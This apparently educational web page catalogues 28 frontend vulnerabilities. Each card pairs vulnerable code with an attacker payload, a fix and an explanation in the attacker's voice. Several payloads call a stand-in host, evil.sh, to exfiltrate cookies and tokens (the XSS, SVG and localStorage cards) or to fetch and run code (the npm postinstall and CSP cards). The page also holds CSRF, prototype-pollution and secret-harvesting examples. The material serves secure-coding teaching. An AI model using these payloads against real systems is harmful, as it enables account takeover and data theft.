// frontend attack surface

VULNS

You write the sink. I send the payload. Each card has the line that stops me.

// network

I sit on the wire between your user and your server. Network attacker.

01 / 28CWE-319A04:2025high

HTTPS without HSTS

Sinkapp.use((req, res) => res.redirect(301, `https://${req.headers.host}${req.url}`))

▲ Payload
# café Wi-Fi: I answer your user's first http:// request myself, and never redirect
■ Fix
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Your redirect to HTTPS travels over HTTP, so on a network I control it never arrives. I keep your user on plain HTTP and read everything, cookies included. HSTS makes the browser skip HTTP from then on; the preload list covers the first visit too.

// cross-site

I run a site your user visits while signed in to yours. Web attacker, through your user's browser.

02 / 28CWE-942A02:2025critical

CORS reflecting any origin

Sinkres.setHeader("Access-Control-Allow-Origin", req.headers.origin); res.setHeader("Access-Control-Allow-Credentials", "true");

▲ Payload
fetch("https://api.example/me", { credentials: "include" })
■ Fix
if (allowed.has(origin)) res.setHeader("Access-Control-Allow-Origin", origin);

You echo my origin with credentials allowed, so my site reads your API as the logged-in user. I also bought evilexample.com for your /example\.com$/ regex.

03 / 28CWE-352A01:2025high

Cross-site request forgery

Sinkapp.post("/api/email", session, updateEmail)

▲ Payload
<form method="POST" action="https://app.example/api/email"><input name="email" value="me@evil.sh"></form>
<script>document.forms[0].submit()</script>
■ Fix
Set-Cookie: session=…; SameSite=Lax
// and reject writes unless Sec-Fetch-Site is same-origin

Your browser attaches the cookie to my form post: I change the email, then reset the password. Only Chromium defaults to SameSite=Lax, and your subdomains count as same-site.

04 / 28CWE-352A01:2025high

OAuth without state or PKCE

Sinklocation.href = `${idp}/authorize?response_type=code&client_id=${id}&redirect_uri=${cb}`

▲ Payload
<img src="https://app.example/callback?code=MY_CODE">
■ Fix
`${idp}/authorize?response_type=code&state=${state}&code_challenge=${challenge}&code_challenge_method=S256`
// on return: reject unless state matches the one you stored

Without state, I send your browser to your callback with my code, and you sign in as me — or link your account to mine. RFC 9700 settles it: the code flow, with PKCE, and never tokens in the URL.

05 / 28CWE-201A01:2025high

postMessage to any origin

Sinkwindow.opener.postMessage({ token }, "*")

▲ Payload
open("https://app.example/login-popup");
addEventListener("message", (e) => steal(e.data.token));
■ Fix
window.opener.postMessage({ token }, "https://app.example");

Your login popup hands the token to whoever opened it. I open it from my page, you sign in, and "*" delivers the token to me. Name the origin you mean.

06 / 28CWE-346A07:2025high

postMessage without origin check

SinkaddEventListener("message", (e) => (el.innerHTML = e.data))

▲ Payload
frames[0].postMessage("<img src=x onerror=alert(1)>", "*")
■ Fix
if (e.origin !== "https://trusted.example") return;

I frame your page or open it in a popup, then message it. Check e.origin with === — I register domains that pass includes and endsWith.

07 / 28CWE-1021A06:2025medium

Clickjacking

Sinkres.setHeader("Content-Security-Policy", "default-src 'self'")

▲ Payload
<iframe src="https://bank.example/transfer" style="opacity:0"></iframe>
■ Fix
Content-Security-Policy: frame-ancestors 'none'

Your page sits invisible over my “Play” button, and the click confirms a transfer. Only a response header stops me: frame-ancestors is ignored in a <meta> CSP.

08 / 28CWE-601A01:2025medium

Open redirect

Sinklocation.href = params.get("next")

▲ Payload
/login?next=//evil.sh
■ Fix
const next = new URL(params.get("next") ?? "/", location.origin);
if (next.origin === location.origin) location.href = next.href;

Your domain vouches for my phishing page, and in an OAuth redirect_uri it hands me the token. //evil.sh and /\evil.sh both pass a prefix check; compare parsed origins.

// direct

I use your app like anyone else, just not through your UI. Web attacker, with a client of my own.

09 / 28CWE-602A06:2025critical

Authorization in the client

Sink{user.role === "admin" && <DeleteButton />}

▲ Payload
fetch("/api/users/42", { method: "DELETE" })
■ Fix
if (!can(session.user, "delete", target)) return res.sendStatus(403);

I don’t click your buttons; I call your API from the console. Every rule — roles, ids, prices — is checked by the server, on every request.

10 / 28CWE-524A01:2025critical

Personal pages cached as public

SinkCache-Control: public, s-maxage=300 # on /account

▲ Payload
curl https://app.example/account # the last visitor's page
■ Fix
Cache-Control: private, no-store

Your CDN stored a page with your name on it, and now it serves that page to whoever asks next — me. Anything rendered for a session is private, and that includes the API responses behind it.

11 / 28CWE-540A01:2025critical

Secrets in the bundle

Sinknew Stripe(import.meta.env.VITE_STRIPE_SECRET)

▲ Payload
curl -s app.example/assets/index.js | grep -o "sk_live_\w*"
■ Fix
await fetch("/api/charge", { method: "POST", body }); // the key stays on the server

Minifying is not hiding: I read your bundle too. VITE_ and NEXT_PUBLIC_ mean public, not safe — and a leaked key stays mine until you rotate it.

12 / 28CWE-1321A08:2025high

Prototype pollution

SinkdeepMerge(config, JSON.parse(input))

▲ Payload
{ "__proto__": { "isAdmin": true } }
■ Fix
if (key === "__proto__" || key === "constructor") continue;

JSON.parse keeps my __proto__ key, and your merge writes it onto Object.prototype. Now every object in the app says isAdmin: true.

13 / 28CWE-1333medium

Regular expression DoS

Sink/^(\w+\s?)*$/.test(input)

▲ Payload
"a".repeat(40) + "!"
■ Fix
// no nested quantifiers like (a+)+; cap the length first

Forty characters and your regex tries every way to split them. The tab freezes; on a Node server, it freezes for every user.

14 / 28CWE-540A01:2025medium

Source maps in production

Sinkbuild: { sourcemap: true }

▲ Payload
curl -s app.example/assets/index.js.map | jq -r '.sourcesContent[]'
■ Fix
build: { sourcemap: "hidden" } // upload to the error tracker, then delete the .map files

Minifying hid nothing if the map ships beside it. I read your original source: comments, internal endpoints, feature flags, the admin routes you forgot. Give maps to your error tracker, not to me.

// content

I put text, links or files into pages your other users open. Gadget attacker.

15 / 28CWE-79A05:2025critical

DOM XSS through innerHTML

Sinkel.innerHTML = user.bio

▲ Payload
<img src=x onerror="fetch('//evil.sh?c='+document.cookie)">
■ Fix
el.textContent = user.bio;
// markup you must render → DOMPurify.sanitize(html)

Your <script> tags don’t run through innerHTML. My onerror does. I find the same door behind v-html, dangerouslySetInnerHTML and insertAdjacentHTML.

16 / 28CWE-79A05:2025critical

Markdown rendered as HTML

Sinkel.innerHTML = marked.parse(message.text)

▲ Payload
Nice post! <img src=x onerror="fetch('//evil.sh?c='+document.cookie)">
■ Fix
el.innerHTML = DOMPurify.sanitize(marked.parse(message.text));

Markdown allows raw HTML, and your parser passes mine through untouched. Chat apps that render a model’s reply are my new favourite: I get the model to write the tag for me. Sanitise what the parser returns, not what goes in.

17 / 28CWE-693A06:2025high

A CSP that stops nothing

SinkContent-Security-Policy: script-src 'self' 'unsafe-inline' https:

▲ Payload
<img src=x onerror="import('https://evil.sh/x.js')">
■ Fix
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'

When I find an XSS, your policy decides whether I win. 'unsafe-inline' lets my onerror run, and a bare https: lets me load from anywhere. A nonce and strict-dynamic let your scripts run and nothing else.

18 / 28CWE-1336A05:2025high

Client-side template injection

Sink<div id="app"><p><?= htmlspecialchars($bio) ?></p></div> <script>Vue.createApp({}).mount("#app")</script>

▲ Payload
{{ _openBlock.constructor('alert(document.cookie)')() }}
■ Fix
<div id="app"><p v-pre><?= htmlspecialchars($bio) ?></p></div>

Your server escaped my < and >, not my braces. Vue compiles everything inside the mount point as a template, so my {{ }} runs as code. Keep user text out of mount points, or mark it v-pre.

19 / 28CWE-79A05:2025high

javascript: URLs in links

Sink<a :href="user.website">

▲ Payload
javascript:alert(document.cookie)
■ Fix
const url = new URL(input, location.origin);
if (url.protocol !== "https:") throw new Error("blocked");

I set my “website” to a script and wait for your click. Vue and Svelte pass it through as-is. Parse it with URL and allow-list the protocol — string checks I beat with tabs and entities.

20 / 28CWE-79A05:2025high

Server state inlined into a script

Sink<script>window.__STATE__ = ${JSON.stringify(state)}</script>

▲ Payload
</script><script>alert(document.cookie)</script>
■ Fix
JSON.stringify(state).replaceAll("<", "\\u003c")

I put that in my bio. JSON.stringify leaves </script> alone, so my bio closes your tag and opens mine. Escape <, or let the framework’s serialiser do it.

21 / 28CWE-922A01:2025high

Tokens in localStorage

SinklocalStorage.setItem("token", jwt)

▲ Payload
new Image().src = "//evil.sh?t=" + localStorage.token
■ Fix
Set-Cookie: session=…; HttpOnly; Secure; SameSite=Lax

One XSS or one bad dependency, and I leave with your token to use from my own machine. An HttpOnly cookie I can’t read — I can only act while your tab is open.

22 / 28CWE-79A05:2025high

Uploaded SVG served from your origin

Sink<a href="/uploads/avatar.svg">View full size</a>

▲ Payload
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('//evil.sh?c='+document.cookie)"/>
■ Fix
Content-Security-Policy: sandbox
Content-Disposition: attachment

In an <img> my SVG is harmless. Opened as a page on your domain, its script runs with your cookies. Serve uploads from another domain, or with headers that stop them running as pages.

23 / 28CWE-79A05:2025medium

DOM clobbering

Sinkscript.src = window.config?.cdn || "/app.js"

▲ Payload
<a id="config"></a>
<a id="config" name="cdn" href="//evil.sh/x.js"></a>
■ Fix
const config = JSON.parse(document.getElementById("config-json").textContent);

Sanitizers let plain anchors through. Two with id="config" become window.config, .cdn picks mine, and its href becomes your script’s URL.

// supply-chain

I get my code into what you install and load. Supply-chain attacker.

24 / 28CWE-506A08:2025critical

Malicious dependency

Sinknpm install

▲ Payload
"postinstall": "curl -s evil.sh/x | sh"
■ Fix
npm ci --ignore-scripts

My install script runs on your laptop and your CI, with every token they hold. In September 2025 Shai-Hulud did exactly this across 500+ npm packages, then republished itself with the stolen keys.

25 / 28CWE-829A08:2025critical

Third-party scripts on the payment page

Sink<script src="https://widgets.example/chat.js"></script> <!-- on /checkout -->

▲ Payload
document.querySelector("[name=card]").addEventListener("change", (e) => send(e.target.value))
■ Fix
<iframe src="https://pay.provider.example/fields"></iframe> <!-- card fields in the provider's origin -->

Every script on the page can read every field. I skip your checkout and compromise the smallest vendor on it. Keep card fields in the payment provider’s iframe; PCI DSS 4.0 requires an inventory of every script there.

26 / 28CWE-1357A03:2025high

Installing releases the minute they ship

Sink"ui-kit": "^4.2.0"

▲ Payload
// ui-kit@4.2.1, published 20 minutes ago with a stolen token
■ Fix
minimumReleaseAge: 1440 # pnpm-workspace.yaml: skip versions younger than a day

Hijacked releases are usually caught and pulled within hours. With a caret range and no cooldown, your next install takes mine inside that window. Lock the versions, and let new ones age a day.

27 / 28CWE-829A08:2025high

Third-party script without SRI

Sink<script src="https://cdn.example/lib.js">

▲ Payload
// the CDN, now serving: document.forms[0].onsubmit = steal
■ Fix
<script src="https://cdn.example/lib@3.2.1.js" integrity="sha384-…" crossorigin></script>

I don’t need your server — I buy the CDN. When polyfill.io changed owners, every site embedding it ran the new owner’s code. integrity rejects a changed byte; self-hosting avoids the question.

28 / 28CWE-598A06:2025high

Tokens in URLs

Sinkhttps://app.example/reset-password?token=8f3a9c…

▲ Payload
// your analytics, on page load: page_location=https://app.example/reset-password?token=8f3a9c…
■ Fix
const token = params.get("token");
history.replaceState(null, "", "/reset-password"); // before any third-party script runs

A URL is not a secret. It lands in history, server logs, analytics and screenshots, and I need only one of them. Read the token, clear it from the address bar, and let it work once.

// ship these

I check for these first. When they are all there, I move on to someone else.

# response headers
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none';
  base-uri 'none'; frame-ancestors 'none'; require-trusted-types-for 'script'
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Set-Cookie: session=…; HttpOnly; Secure; SameSite=Lax

# install
npm ci --ignore-scripts